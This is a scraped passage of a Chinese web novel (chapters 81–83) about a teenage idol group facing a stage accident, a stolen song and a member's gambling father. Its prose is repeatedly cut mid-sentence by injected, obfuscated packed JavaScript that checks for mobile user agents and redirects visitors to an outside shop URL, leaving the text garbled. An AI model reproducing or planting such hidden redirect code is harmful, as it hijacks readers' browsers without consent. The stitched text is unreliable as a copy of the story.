p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254158|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 其实他压根没听,听了更加睡不着。 他知道自己一直都喜欢孔栩,可是没想到会这么喜欢,听到他的声音眼前就会浮现出他的面孔。白影消失了,可他偶尔会出现一些其他的幻觉,晚上没人的时候会更加严重,好在他还能清晰地分辨平白无故出现在他家里的孔栩不是真的。 孔栩听了他的话,耳根忽然发红,继而蔓延到耳朵尖,他埋头吃饭,不再搭理邱以星,邱以星见状觉得非常可爱,于是又逗他:“孔栩,我特别特别喜欢。谢谢你。” “好了,我已经知道了。”孔栩眼神飘忽不定,嘟囔,“你省着点儿说吧。” 吃完饭,邱以星自觉去把碗洗了,孔栩全程目不转睛地看着邱以星,邱以星笑着说:“盯这么紧干什么?怕我跑了?” 孔栩说:“我想亲你。” 说着便凑过来亲了一下邱以星的嘴唇。 邱以星:“……” 他亲完转身走了,邱以星懊恼地看着自己满是泡沫的手,朝他的背影喊道:“孔栩,你是故意是的是不是?” * 九月份陈颂去拍电影,其他人也吵着要去玩,陈颂怒了:“说多少次了,我不是去玩的!” 不过项汝怡还是把他们一通打包进剧组,让他们长长见识。 剧组可比公司好玩多了,每天他们光是端个小板凳在片场看贺典骂人都能看半天。 陈颂白天拍戏,晚上回来复盘,除此外还得看网课,忙得一个头两个大。 纵观其他人,就要闲得多了。夏桃杉和孔栩老早就写完暑假作业,孔栩除了完成课内的作业,还轻轻松松完成了好几本课外习题,他曾怀疑孔栩的大脑是不是跟他们的构造不同,为什么能够在超负荷的工作下,还能有质有量地完成学习任务,这实在令他百思不得其解。 另外一个突飞猛进的是邱以星,邱以星的期末考在他们学校排年级第五,本来邱以星跟他水平差不多,结果人家跟坐了火箭似的一飞冲天,只剩下他和陆笑蓉两人站在原地望洋兴叹。 幸好还有陆笑蓉这个学渣陪他,但陆笑蓉却不在乎自己的学习成绩,她向来乐观,秉持着“不考倒一就是进步”的原则:“我是唱歌的,要那么好的成绩干什么,也太浪费了吧。” 陈颂无言以对。 相较于唱歌,他发现自己更喜欢演戏,如果和优秀的演员有对手戏,会令他倍感兴奋。 这种兴奋和唱歌带给他的感受完全不同,写歌、唱歌抑或是站在舞台上,他会感到开心,但全身心投入到角色中时,他会完完全全地忘记自己。 和他演对手戏的演员叫做林移,是个非常敬业的演员,他很欣赏林移身上那股认真踏实劲儿,还跟林移的助理处成了好兄弟,每天都去他们那蹭吃蹭喝。 他偶尔也会冒出这样一个念头:我以后到底是要演戏还是继续唱歌呢? 他深知他们这个组合不会红一辈子,才华横溢的年轻人层出不穷,他们只是占据了天时地利人和,撞大运才走到如今的位置。 未来如何,他也无法做出任何保证。 这部戏一直拍到将近年底,新戏杀青后,陈颂带着孔栩他们到陈年饭庄吃了顿饭,本来还想邀请林移一起,结果林移说他赶着回家,拍完就跑得没影了。 他不禁对着众人感慨:“等开春后,我们的高中生活只剩两三个月了,仔细想来,在学校的日子,竟然还没在公司呆的时间长。” 他这么一开口,大家的心情各有各的复杂。 不过孔栩除了觉得时间过得太快之外,还多了一丝对未来的期待。 他还有很多人生规划要和邱以星一起完成,光是想象,他内心就充满了无尽的幸福。 81. 第 81 章 又是一个春天。 岚江今年的春天来得特别早,春风吹得人懒洋洋的。 孔栩和邱以星回到学校上课,上到一半邱以星咚的一声趴在桌上睡着了。 早已经不上新课,所有科目进入复习阶段,孔栩每天来学校也是埋头写卷子。 其实他没有必要来学校,老师没什么能够教给他的了,不过在学校能看见邱以星,他还是更愿意到学校学习。 邱以星这段时间状态肉眼可见的差,眼底青黑一片,齐大彬见到,吓得一大跳:“兄弟,你是不是纵欲过度啊?” 被邱以星踹了一脚:“滚。” 他晚上睡不着,白天就在老师讲题的声音里补觉,睡得还挺香,老师的催眠功效竟然出乎意料的不错。 孔栩不忍心叫醒他,睡就睡吧,也没什么可耽误的了。 他们两个和夏桃杉选择正常参加高考,陈颂和陆笑蓉走艺术特长路线,陈颂没有瞒着他们,说想要考影视学院,专门进修演技。 陆笑蓉说她要唱一辈子歌,这段时间一直在发狠学小三门,也很少在群里现身聊天。 高考的紧张氛围笼罩在每个人身上,在学校感受得尤为真切。 孔栩不知为何感到一种隐约的不安,所有人都卯着劲往前冲,不知是黑报上的高考倒计时影响了他,还是他即将脱离名为“高考”的囚笼,他将走入更辽阔的旷野,迈入崭新的人生。 他晃了晃脑袋,把乱七八糟的想法全部抛开。 邱以星这时醒了过来,邱以星睁眼惺忪的双眼,枕在胳膊上,看着孔栩低头写题的侧脸,情不自禁地勾唇一笑。 他伸手朝孔栩脸上摸了一把,孔栩正心无旁骛着,被他吓得一抖。 邱以星这才发现自己不是在做梦,连忙坐直身体,欲盖弥彰地轻轻咳了两声。 “搞什么?”孔栩低声说,“上课呢。” “我忘了,”邱以星很不好意思,“睡糊涂了。” 放学后,孔栩没有直接回家,而是跟邱以星去了琴房。 太久没去琴房,孔栩忽然觉得很怀念,他向邱以星要了钥匙,结果发现门一推就开了。 这个点小琴房里居然有人,孔栩看见一个男孩正在教坐在旁边的女孩弹琴。 男孩女孩模样青涩,像是高一的,见到孔栩和邱以星连忙站起身,礼貌地告诉他们:“是老师让我们过来的。” 孔栩拉着邱以星往后退了一步,笑着摆手:“没事,我就是过来看看,你们练吧,弹得很棒。” 他们明显已经认出孔栩和邱以星,神情显得激动,男孩说:“我本来已经想要放弃了,后来看见你弹琴的视频才想继续练琴的,你是我的榜样!希望有一天,我能和你一起弹琴。” “会有那一天的,谢谢你。”孔栩对他微笑,还告诉他琴房的柜子里有很多本他留在这里的谱子,他们可以使用。 他想了想,把琴房的钥匙给了他们:“这给你们,你们留着或者交给老师都可以。” 琴房不再是独属于他们的空间,孔栩觉得有些失落,觉得自己重要的东西被人抢走了。 虽然根本就不是他的东西,他明明还有几个月就要永远离开这个地方了。 回去的路上,邱以星感受到孔栩的低落,手臂搭在他肩膀上,手指捏了下他软乎乎的脸颊,随口说:“别不高兴,你如果喜欢学校的小琴房,以后家里的琴房就交给你布置,你喜欢往钢琴上贴什么贴纸都随便你,好不好?” 孔栩愣了一下,他说:“‘家里的琴房’”? 邱以星朝他笑着,眼底藏不住的温柔:“你知道的,我们以后的家啊。” 孔栩忽然就释怀了。 春天也是一个好季节,无限接近于夏天的好季节。 知道他们处在人生的关键期,这段时间项汝怡就没有给他们安排什么大活动。 四月只有一场公益性质的演出,地点在他们之前去过的岚江中心公园。 剧场里已经坐满了黑压压的人,跟第一次来这里的感受大不相同,那时候初出茅庐,在这么多人前表演总有种被审视的紧张,如今他们五人举手投足从容有余,完全没有了当初的青涩与腼腆。 舞台根据他们的表演做了相应的改造,夏桃杉有一个独舞环节,她会站在距离地面三米左右的圆形舞台上跳舞,等她跳完,其他人会从黑暗中出现围住她,和她一起唱歌。 这是个特别设计,夏桃杉在舞台上旋转时,身影略微顿了顿,像是鞋跟卡主,紧接着她用手扶住舞台的栏杆,似乎想要借力将鞋拔出来,可栏杆不知怎么突然间松了,她的身体一下冲出栏杆,朝地面落去。 陈颂仰着头,瞳孔骤然一缩,事故发生的瞬间向夏桃杉猛冲过去,可只碰到了她的舞裙。 夏桃杉躺在地板上,台下一片寂静,还以为是什么舞台效果。 陈颂目眦欲裂,朝台下大声喊:“人呢!快叫救护车!!” 这场演出因为突发状况而终止,陈颂他们陪着一起上了救护车。 夏桃杉的意识清醒,能眨眼能说话,只是不能动。 陈颂眼泪糊了一脸,不敢碰夏桃杉的手,怕把她给碰坏了,断断续续地说:“你、你……疼不……疼啊?” 陆笑蓉吓得惨无人色,趴在夏桃杉担架旁,眼眶通红:“你别怕,很快就到医院了。” 孔栩扣住邱以星的掌心,深深地呼吸,仍旧处于巨大的惊悸中。 “嗯,我知道,”夏桃杉试图朝他们挤出一个安慰性的笑容,可失败了,她苦恼地扁了下嘴,“怎么办?马上就要考试了,我不会去不了吧?” 陈颂欲哭无泪:“都什么时候了,你还想着考试。” 夏桃杉:“我担心嘛。” “万一考不了,我陪你复读,”陈颂捂住脸,轻喘一口气,再也承受不了似的,“你别说话了。” 三米并不高,可是在毫无预料的情况下从三米高的地方摔下来,可不是开玩笑的。 除了浑身上下多处软组织受损,夏桃杉一侧的小臂与大腿骨折,以及踝关节韧带撕裂,万幸的是,事发当时她有意识地蜷了下身体,护住了最重要的大脑。 项汝怡严肃追究了布置舞台造成事故的责任方,又把当天急剧上升的热搜词条给撤了,她不想闹得人心惶惶,网上一片混乱,她看着实在烦心。 夏桃杉的父母连夜赶到了医院,陈颂将她父母安置好,又跟医生商量接下来的手术方案,夏桃杉听到之后松了口气:“右手没事,我可以坐轮椅去考试了。” 她父母心疼得泪流满面,项汝怡不敢看这个画面,索性站在病房外站了片刻。 手术很顺利,之后是漫长的复健,夏桃杉有她爸妈悉心照顾,让陈颂去做别的重要的事,别成天呆在医院里。 孔栩他们每天放学之后会直接来医院看她,怕她无聊,会陪她讲会儿话。 能看得出来夏桃杉格外焦虑,可眼下再焦虑也没有办法,只能顺其自然,夏桃杉根本不敢问医生自己以后还能不能继续跳舞,她严格遵照医嘱进行复健,经常痛得整晚整晚睡不着,有天突然精神崩溃在病房里大哭,说她为什么那么倒霉,不如死了好。 邱以星把其他人都叫了出去,说自己有话单独要跟夏桃杉说。 陈颂不知道他要说什么,他拍了下邱以星肩膀,带着孔栩和陆笑蓉出去了。 邱以星穿着一件宽松的运动裤,他弯腰把自己的裤子从小腿卷到了大腿,夏桃杉泪眼模糊,抽噎着问:“你是在耍流氓吗?” 随后夏桃杉便看见一道蜿蜒的泛白的长疤盘踞在邱以星的腿上,像是某种丑陋的虫子或者是外星怪物。 她忘记了哭,怔怔地看着邱以星:“这是什么时候的事?” “是不是很难看。”邱以星问她。 夏桃杉诚实地回答:“难看。” 邱以星笑了一下:“三年多以前,我初三的时候,那时候我也觉得自己完蛋了。” 夏桃杉说:“很痛吧。” “嗯,很痛,很多次都不想活了,”邱以星说,“其实我也这么做了。我觉得没有活下去的理由,我把自己关在一间黑屋子里关了很长时间,每天像一具行尸走肉,完全不知道自己想什么,做什么。” 夏桃杉微微张大了眼睛。 邱以星:“不过死是很难的事,如果不是真的下定决心,不要轻易地说这个字,会让人听了伤心的。” 夏桃杉并不知道邱以星过往的这段经历,在她看来,邱以星算是天之骄子,总春风得意,没经历过什么大风大浪。 “如今你走出来了吗?” “我不知道,”邱以星笑笑说,“不过我感恩我活着的每一天。想想你关心和爱着的人,他们会陪伴你,永远跟你在一起,你不是一个人在抗争。” “……你是因为孔栩?”夏桃杉忘记哭,难得跟邱以星八卦。 邱以星放下裤子,原地跺了跺脚,有些被拆穿的不好意思:“嗯。” 有孔栩就还能坚持,他也不担心自己的状况,他相信只要脱离他厌恶的环境,他总有天会痊愈。 夏桃杉继续接受治疗,不再那么消极应对,身体也一天天地好转。 孔栩问邱以星对她说了什么,邱以星却反问他:“想好考哪里了吗?” 这问题也是在问他以后要定居在哪,孔栩不想随便决定,等考完再好好规划一番。 大致计划在南方某个城市,因为他不喜欢冬天。 夏桃杉如她所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔栩装作并不羡慕邱以星的样子,邱以星的父母看上去很爱他,吃饭时一直给邱以星夹菜,自己因为是邱以星的朋友,也受到了他们的额外关照。 邱以星却似乎不太领情,让他们吃自己的,别管他。 孔栩一边吃一边跟尚问兰和邱远聊他们学校和工作上的事,这两位大人在家从来不曾听邱以星讲这些,都很感兴趣地竖起了耳朵。 问到志愿,邱以星也没告诉他们自己填报哪所学校,不过这对尚问兰和邱远来说都不重要了,毕竟邱以星考得再好也只是锦上添花而已,他作为新生代的年轻歌手,短短几年赚到了他们一辈子赚不到也不敢想象的钱。 以至于他们家的权力关系无形中对调,邱远再也没有因为邱以星的成绩问题跟他翻过脸,不过邱以星也没考过倒数就是了。 这顿饭邱以星吃得心不在焉,他更希望和孔栩单独吃,省得听一耳朵废话。 桌上有道菜叫做柠檬虾,清爽鲜甜,邱以星见孔栩喜欢,让服务员给他打包一份带回家当夜宵。 尚问兰倒是头回见邱以星对人这么上心,打趣说:“这么体贴啊。” 邱以星置若罔闻,尚问兰尴尬地一笑,孔栩觉得邱以星有些冷漠了。 吃过饭,邱远开车送他们回家,孔栩住学校附近,并不顺路,不过邱远还是把孔栩送到小区门口。 天黑下来,尚问兰想给他送到楼上去,孔栩指着靠围墙的那栋建筑说:“我就住那,我自己上去就行了,谢谢叔叔阿姨送我,再见。” 邱以星打开车门要陪他走一程,孔栩没有反对,两人便并肩上楼。 过了两分钟,尚问兰看见后座上给孔栩打包的柠檬虾没带走,她无奈地说:“唉,这孩子,我给他送上去,免得他再下来拿了。” 于是她便提着打包盒走进孔栩住的那栋楼。 孔栩住五楼,小区是一梯两户,大门各朝一边,互不打扰。 尚问兰觉得孔栩是个好孩子,各种意义上的,他外表看上去就是听话乖巧的男孩子,又懂礼貌,邱以星还非常乐意跟他玩,她觉得可以跟这孩子打好关系,间接通过他重新修复与邱以星的亲情。 她这么想着,电梯门无声地打开了。 尚问兰往前走了两步,听到了一点模糊不清的说话声,有点黏,似乎还带着一点喘息和口水声。 她有些不自在地眨了下眼睛,心想,这谁大门还没关就在外面亲起来了,不是带坏孩子么。 她脚步匆匆又往里走了两步,继而撞见了她一生都无法忘怀的场面。 那一秒钟仿佛延伸到了无限长,长到尚问兰在那瞬间脑中如宇宙大爆炸般涌出无数解决的方法。 尚问兰没有声张,提着柠檬虾下楼,将虾扔进旁边的垃圾桶里。 82. 第 82 章 孔栩填志愿那天,邱以星没来学校。 虽说可以在家填,不过他们还是约好了一起来学校。 他选择了一座较为发达的南方城市读大学,该城市四季温暖如春,一年到头都没有冬天,最低温度没有低于过十度,是孔栩思索良久得出的结论。 邱以星很赞成,他说岚江呆腻了,换个地方生活也挺好的,以后回来坐飞机高铁或者自驾都方便。 这就是他们崭新人生的起点了。 孔栩久等邱以星不至,却等到了闻旋和罗鸣玉。 闻旋散着黑发,穿着件绿色碎花裙子,清清爽爽地挎着小包,大咧咧往孔栩身旁一坐:“嘿,小木鱼,等邱以星啊?” 在她们眼里,这两人就像是磁石一样,是不分你我的关系,但凡有一位不在,就说明不正常。 “他还没来。”孔栩朝她们笑了笑。他疑心邱以星会变卦,但一想,邱以星不是那种人。 罗鸣玉颇为得意地说:“我之前还跟闻旋打赌来着,说你们会考一所大学,给我说准了吧。” “其实我也是这么想的,被你抢先说了。”闻旋凑过来,有些好奇地说,“不过我以为你会去北方的。” 闻旋有六百多分,她说想学医,罗鸣玉稍微少点儿,不过也到了她理想学校的分数线,她们俩得知孔栩报哪所学校后都很惊讶,以为孔栩会选择更好的大学。 “是不是最好的不重要,适合自己就好啦。”孔栩说。 闻旋和罗鸣玉便没再说什么,此次一聚,以后不知什么时候还能再见面,不过那时候他们的离愁别绪被眼前盛大的未来所掩盖,并没有显得多伤感。 孔栩和她们填好志愿之后,收到邱以星的一条消息,说是他有事耽搁了,志愿就在家里填了。 孔栩回复他:OK,你事情处理好了没有? 邱以星或许在忙,这条就没有回复了。 孔栩和闻旋、罗鸣玉的三人之前为邱以星声援的小群一直保留着,除了分享八卦,闻旋偶尔会在里面分享学习资料什么的。 此时闻旋转发了一条歌曲链接到群里,然后有些谄媚地眨眨眼睛,问孔栩:“这个歌手你认不认识?” “谁?”孔栩没点开链接。 “他叫庄淼,”闻旋说起这个便隐隐兴奋起来,“之前参加过《声而逢时》,当时表现不佳,还被骂‘皇族’,不过他前几天发了一首歌,超级好听的!” 孔栩扫了她一眼:“有多好听?” 闻旋:“你听听就知道了,我循环两天了,他真的很有才华……那个,以后如果你见到他,能不能帮我要一张签名?” 见闻旋双手合十,请求恳切,孔栩无奈地点了下头:“行吧,如果我遇到他会跟他说的。” “太好了,谢谢你呀小木鱼,有你真好。”闻旋幸福地说,“我们要做一辈子的好朋友。” 孔栩好奇地点开歌曲链接,想听听到底有多好听,前奏甫一出现孔栩就被吸引了,的确是非常动听的旋律,然后他越听越觉得不对劲,眉头皱得死紧,点进歌曲主页,发现作曲一栏写的是:庄淼。 “这首歌是他写的?”孔栩问闻旋。 “是啊,”闻旋说,“据说这首单曲他只花了一个下午就写出来了。是不是很厉害?” “你说他是哪天写的?” “就前段时间啊,我们高考那会儿。” 孔栩面色越发凝重,他将歌重新听过一遍,还是觉得难以置信,闻旋见他表情不对劲,问他:“怎么了?” “这明明是邱以星的歌,旋律一模一样,”孔栩说,“重新填了词而已。” “真的假的?”闻旋瞳孔地震,“你说庄淼抄袭邱以星?可是他怎么知道……” “我不清楚,”孔栩立即收拾好东西,对闻旋和罗鸣玉说,“你们先别对外说,我去找邱以星问问。” 孔栩觉得很不安,邱以星的歌为什么会被他人拿走? 那个庄淼是通过什么渠道拿走的? 这首歌只有他和邱以星知道,二专都没有收录。是那天孔栩邀请邱以星来家里吃饭,饭后邱以星趴在餐桌上写的,孔栩在弹钢琴,邱以星无事,于是一边听一边写,笑容灿烂地对孔栩说:“我决定,这首歌就叫做《钢琴啊钢琴》了。” 可庄淼把这首歌的名字改了。 孔栩觉得愤怒,烈日之下他狂走几百米,被晒得大脑一阵阵地发晕,他只好站在树荫下抹了把额头上的汗。 他在路边买了一瓶冰镇汽水,咕咚咕咚倒进喉咙里,冰汽水一下肚,他整个人被冰得打了个激灵。 稍微缓和过来后,他想,如果有人将歌给了庄淼,那么唯一可能的人选就是邱以星。 他越发冷静,热汗转变为冷汗,邱以星为什么要这么做呢? 这对他有什么好处? 孔栩在网上查关于庄淼的信息,这位歌手形象颇佳,今年二十二岁,刚大学毕业,参加《声而逢时》拿了亚军,签了华禹传媒正式出道,以天籁般的嗓音闻名,还能自己作词作曲写原创,是个相当有才情的人,吸引了一波忠实粉丝。 华禹传媒……孔栩脑中立即联想到那个爱喝酒酒量却很差劲的光头蒋总监。 难道邱以星把歌卖给了蒋总监? 这不可能!孔栩立即否定自己的猜测,他必须要当面问邱以星,这到底是怎么一回事。 孔栩来到邱以星家,是尚问兰开的门。 尚问兰看见孔栩,神色微微有些不自然,她站在门口,一只手扶着门框,没有让孔栩进门的意思。 “是孔栩呀,你来找小邱的吗?”尚问兰问。 “嗯,阿姨您好,”孔栩喘着气,脸上都是汗水,后背湿了一大块,“邱以星在家吗?” “他……他不在家,”尚问兰告诉孔栩,“早出去了,一整天都不在家,他说去找你了,你没看见他吗?” 孔栩急切地说:“我没有看见他,您能联系上他吗?他不接我电话。” 尚问兰却说:“没事的,他那么大一孩子还能弄丢不成,他要是回来了,我让你给打电话行不行?” “我有很重要的事情找他,”孔栩语气焦灼,“如果他回来了,麻烦您一定让他跟我联系。” “嗯,阿姨知道了,你放心吧。” 孔栩心事重重地离开了邱以星的家。 那天之后,他再也没见过邱以星,去邱以星家,总是没人。 问项汝怡,项汝怡告诉孔栩,邱以星爸妈说趁着暑假带他出去旅游了。 既然是去旅游,为什么尚阿姨不告诉他呢?孔栩感到越发奇怪,邱以星竟然半个字也没有跟他透露,他真的出去玩了吗? 他给邱以星发的消息全部石沉大海,好像……好像是故意切断与他的联系一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264546|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孔栩感到恐慌,难道他做错了什么?可邱以星不告诉他,他怎么能意识到自己错哪儿了呢。 于是他耐住性子,决定再等邱以星几天,邱以星要是再不联络他,他就要跟邱以星绝交三天……不,一个星期。 等待是一件格外折磨人的事,孔栩日渐消瘦,去公司开会,仍然没能见到邱以星人影。 夏桃杉能拄着拐杖走路了,陈颂一直陪在她身边,陆笑蓉似乎没睡好,一副精神不振的样子。 海外巡演的事提上日程,由于夏桃杉身体还在恢复期,所以巡演往后推迟了三个月。 项汝怡还说,陈颂去年拍的电影终于要上映了,马上得跟着剧组去路演,接下来他会非常忙碌,让他做好准备。 总算来了个好消息,会议室也不再死气沉沉,孔栩当着大家的面,又问了一遍项汝怡:“项姐,邱以星他……” 项汝怡并不打算多解释,直截了当地说:“你和邱以星要保持点距离了,网上铺天盖地都是你俩的CP粉,虽然炒CP也是一种宣传方式,但我更希望你们专注于自己的事业上,你多久没有练琴了?你写了几首歌?” 面对项汝怡的训话,他无言以对,项汝怡软硬兼施,又柔声说:“好了,别哭丧着个脸,邱以星他没事,只是休息一段时间,很快会回来的。” 孔栩觉得项汝怡没有说实话,每当项汝怡有什么事瞒着他们时,都是这样一副语重心长的模样。 散会后,项汝怡看了眼陆笑蓉,让她去自己办公室一趟。 “啊?”陆笑蓉听到自己的名字,慢吞吞地抬起头,看了眼项汝怡,意识到她在跟自己说话,“哦”了一声,两手撑着会议桌,有些魂不守舍地跟在项汝怡身后。 见项汝怡和陆笑蓉离开会议室,孔栩说:“最近蓉蓉都不在群里说话了。” 他们的那个“宇宙无敌青春少男少女”群已经沉寂许久,陆笑蓉一般是活跃气氛的那个,她不在群里发言,其他人很少会主动说话。 陆笑蓉平常还爱怼陈颂几句,今天竟然一句话都没说,显得特别不正常。 夏桃杉问陈颂:“项姐为什么单独找蓉蓉?有什么事不能让我们知道?” 陈颂知道一些内情,但那总归是陆笑蓉的家事,不好大肆宣扬,又一想大家都不是外人,索性说了:“陆笑蓉的爸爸他一直在赌博。” 夏桃杉:“什么?” “你们听听就算了,我从我哥那知道的,她爸把钱都输光了,还借了高利贷,陆笑蓉不接他电话,他不知通过什么渠道把电话打给了我哥。”陈颂说,“我跟她说,要不先让她爸把高利贷的钱还了再说,陆笑蓉非不肯,说是一定要让那帮催债的把她爸爸的两只手砍下来。” 孔栩坐不住了:“然后呢?” “不知道,项姐估计找她谈的就是这件事。”陈颂叹了口气,“现在她和她爸现在正僵持不下……这条老狗,咬住了她这么一棵摇钱树,是不可能轻易松口的。” 夏桃杉喃喃说:“……难怪她从来不说自己家里的事。” 孔栩满腔愤怒,一时间又没有行之有效的建议,只好沉默下来。 另一边项汝怡的办公室。 陆笑蓉没等项汝怡开口,她主动说:“项姐,我知道您要跟我说什么。” 她顿了一下,鼓起生平最大的勇气说:“我想好了,我要跟公司解约。” 83. 第 83 章 “为什么?”项汝怡面不改色,实则内心已经掀起惊涛骇浪。 他们事业正是如日中天的时候,前途一片大好,陆笑蓉到底有多想不开要解约。 陆笑蓉早猜到她会是这样的反应,她家里的事项汝怡也知道个七七八八,没有什么好瞒着她了:“我不想让他占我一分一毫的便宜,欠他的,我已经还了。我继续留在公司,他会上门找你们麻烦,我不想连累桃子他们。” “你这不是连累,他们肯定能理解的,”项汝怡苦口婆心地劝她,“你跟公司解约,你们这个组合以后要怎么办?” 陆笑蓉勉强笑了笑:“项姐,陈颂是老总的弟弟,这事我们已经知道了,少一个我多一个我,公司资源都不会缺他们的,这个我很放心。” 项汝怡:“你是铁了心要跟你爸爸鱼死网破了?” “他不是我爸,”陆笑蓉冷静地说,“他只是跟我一样姓氏的人渣。” “蓉蓉,你不要这么冲动,我们先坐下来把这件事情解决了好不好?”项汝怡耐心万分地说,“你爸爸借高利贷是不对,但这件事还有转圜的余地,钱还能再挣,以后我们跟他约法三章,让他不要赌——” “不可能的!”陆笑蓉大声地打断项汝怡的话,“他从我记事起就开始赌钱,把家里输得底朝天,我妈也跑了,本来想带我一起跑的,结果被他发现,半路他死活把我拽了回去。他一分钱没有的那段时间,差点把我送出去卖。项姐,您知道我有多恨他吗?我在梦里恨不得把他乱刀砍死,他不是人,是一个魔鬼!” 陆笑蓉胸口剧烈地起伏,眼中不禁盈满了泪水:“后来我长大了,一毛钱没有就搬了出去。做直播,跟平台三七分账,每天只能睡一会儿,白天还要上课,可我一点也不觉得苦,我想攒钱,把钱攒着给我妈,虽然我不知道她住哪儿,可我总有一天能找到她,然后这个混账偷偷把我存的钱全拿去赌了。” 项汝怡心痛地将陆笑蓉抱在怀里,拍她的后背,她从来没听陆笑蓉说过这些。 “能遇到你们,我真的觉得走了好大一泡狗屎运,”陆笑蓉抽噎着,“这三年我过得特别幸福,我知道我有很多缺点,可你们都很包容我,是我见过的最好的人。我真的很爱很爱你们,也不想离开你们,可是我也真的受够了,我要让他付出代价,让他感到痛苦,再也不能来找我的麻烦!” “但你可以不解约……” “项姐,您可以理解为,我累了,想休息,想彻彻底底安安静静地休息。”陆笑蓉从头到尾坚持着自己的想法,“你不了解他,他就是个无赖,可以污蔑我,给我泼脏水,但我不希望他影响到你们,影响到组合。这件事情我已经决定了,至于违约金……” 项汝怡摇头:“我给你批假休息,但解约这件事需要我跟上层商量,你父亲那边我会帮忙处理。” 陆笑蓉看着项汝怡,轻声说了句:“如果您是我妈妈就好了。” 项汝怡笑了下,摸摸她的脑袋:“行啊,反正也到了可以当妈的年纪了。” 陆笑蓉哭得更大声了。 她还有桩心事没敢跟项汝怡说,等她哭够了,她肿着一双桃子般大小的眼睛,问项汝怡:“您是知道邱以星在哪儿的对不对?” 项汝怡这次就没有理睬她了,只让她去洗个脸,在冰箱里拿点冰块敷一敷眼睛。 陆笑蓉只好不情不愿地出去了,她刚出办公室的门,就见到孔栩他们三人正堵在门口往里张望,见她一开门,又齐齐往后退了一大步。夏桃杉还拄着拐,差点摔倒,陆笑蓉连忙扶住她,向陈颂抱怨:“你怎么回事啊,不知道看着点吗?” 众人见她刚哭完的狼狈样,一时间像是撞见了什么不该看的,纷纷将视线挪到其他地方。 陆笑蓉抹了把脸,说:“我有话要跟你们说。” * 孔栩一直躺在出租屋里,望着墙壁发呆。 陆笑蓉跟他们说,她要跟公司解约,退出光5。 说实话,孔栩能够理解她的想法,她不是多贪心的人,有过一时的璀璨已经足矣,急流勇退未必不是好选择。 孔栩尊重她的想法。 陆笑蓉私下还告诉了他一件事。 她涨红了脸,难以启齿地说:“对不起啊,小木鱼,有件事我有责任和义务要跟你说。邱以星的那首《钢琴啊钢琴》是我卖给华禹的。” 孔栩听到这里,差点以为自己出现了幻听。 “我爸一直在找我要钱,我手头一点积蓄也没有,就随口问邱以星那有没有新歌,然后他就给了我这一首。我没想到他那么……然后我就给蒋总打电话,说我手里有首歌可以授权给他使用,我没有想过要卖版权,只想解决燃眉之急,以后再赎回来,可是,可是……” 陆笑蓉不敢看孔栩的脸色,垂下头,声音越说越低:“他们改了合同,我没有及时发现,邱以星是因为这件事生我的气,所以才不露面的吗?” 孔栩愣愣地摇了下头:“不会,他不会怪你的。他给你了,就不会想着拿回来。” 陆笑蓉觉得自己闯了大祸,也不知如何补救,简直想跟华禹和蒋总玉石俱焚了:“要不我在网上曝光庄淼,我没有想到他们竟然那么无耻……” 没等陆笑蓉说完,孔栩毫无预兆地蹲下身,用手捂住了脸。 陆笑蓉吓了一跳,她也连忙蹲下,不停地说:“对不起对不起,小木鱼,我会想办法解决的,真的对不起……” 孔栩声音带着哭腔,无助地说:“蓉蓉,我不是这个意思,我只是太想他了,这首歌……” 这首歌是邱以星写给他的。 他还记得他在弹肖邦,邱以星食指与中指夹着一支铅笔不停地旋转来旋转去。 彼时是落日时分,黄金一般的光线穿过阳台,照在客厅中间的茶几上。 茶几摆着孔栩的电钢琴,他盘腿坐在地板上弹,这金色的光芒也落在他的侧脸,凑近看能清楚看见他脸上细小的绒毛。 他注意到邱以星一会儿抬头看看他,一会儿低头在草稿纸上写着什么,一边写还一边忍不住发出闷闷的笑。 好傻。孔栩一心两用,默默在心里想。 等他停下,邱以星拿着纸,席地坐在他身边,清了清嗓子,一只手搭在孔栩肩膀上,玩他柔软的耳垂,微微兴奋地说:“我刚刚写了一首歌,给你听听。” 钢琴啊钢琴你是造物的奇迹 是风吹动你脸庞的光和影 是眼睫与唇角温柔的笑意 钢琴啊钢琴想一直听你弹琴 从白天听到黑夜也听不腻 想要和你一起做各种事情 想告诉你藏在心底的秘密 钢琴啊钢琴 你为何如此动听 你本就如此动听 能融化所有的苦涩 只剩最甜蜜的话语 他念“钢琴”的时候,像是在念孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269551|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩的名字。 像是在说,孔栩啊孔栩,想一直听你弹琴。 